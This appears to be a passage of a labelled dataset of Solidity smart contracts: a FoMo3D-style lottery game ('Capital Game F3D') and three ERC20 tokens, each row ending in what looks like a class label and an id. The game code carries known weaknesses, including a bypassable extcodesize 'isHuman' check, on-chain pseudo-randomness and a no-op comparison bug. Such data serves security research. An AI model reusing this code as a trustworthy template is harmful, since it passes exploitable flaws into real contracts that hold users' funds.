admin.transfer(_p3d.sub(_potAmount));
round_[_rID].pot = round_[_rID].pot.add(_potAmount);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == admin, "only admin can activate");
require(activated_ == false, "FOMO Short already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcShort {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 472 |
pragma solidity ^0.5.0;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract FixedSupplyBurnableToken is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
symbol = "ZYN";
name = "Zynecoin";
decimals = 18;
_totalSupply = 170000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function totalSupply() public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
require(value > 0);
require(_totalSupply >= value);
require(balances[account] >= value);
_totalSupply = _totalSupply.sub(value);
balances[account] = balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function burn(uint256 value) public {
_burn(msg.sender, value);
}
function burnFrom(address account, uint256 value) public {
require(allowed[account][msg.sender] >= value);
allowed[account][msg.sender] = allowed[account][msg.sender].sub(value);
_burn(account, value);
emit Approval(account, msg.sender, allowed[account][msg.sender]);
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 3,980 |
pragma solidity ^0.4.18;
contract TheCoinBBToken {
string public name;
string public symbol;
uint public decimals;
event Transfer(address indexed from, address indexed to, uint256 value);
mapping(address => uint256) public balanceOf;
function TheCoinBBToken(uint256 initialSupply,string tokenName, string tokenSymbol, uint8 decimalUnits) public {
balanceOf[msg.sender] = initialSupply;
name = tokenName;
symbol = tokenSymbol;
decimals = decimalUnits;
}
function transfer(address _to,uint256 _value) public {
require(balanceOf[msg.sender] >= _value && balanceOf[_to] + _value >= balanceOf[_to]);
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
Transfer(msg.sender, _to, _value);
}
} | 1 | 2,495 |
pragma solidity ^0.4.24;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract FixedSupplyToken is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
symbol = "ROCKS";
name = "Moon Rocks";
decimals = 0;
_totalSupply = 1000000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function totalSupply() public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 2,676 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularShort is F3Devents {}
contract FoMo3Dshort is modularShort {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcShort for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x425020FF85f2E35b8269Af3d84DeFb2DC2BB6D12);
address private admin = msg.sender;
string constant public name = "Capital Game F3D";
string constant public symbol = "CGF";
uint256 private rndExtra_ = 12 hours;
uint256 private rndGap_ = 12 hours;
uint256 constant private rndInit_ = 1 hours;
uint256 constant private rndInc_ = 30 seconds;
uint256 constant private rndMax_ = 24 hours;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(30,6);
fees_[1] = F3Ddatasets.TeamFee(43,0);
fees_[2] = F3Ddatasets.TeamFee(56,10);
fees_[3] = F3Ddatasets.TeamFee(43,8);
potSplit_[0] = F3Ddatasets.PotSplit(15,10);
potSplit_[1] = F3Ddatasets.PotSplit(25,0);
potSplit_[2] = F3Ddatasets.PotSplit(20,20);
potSplit_[3] = F3Ddatasets.PotSplit(30,10);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
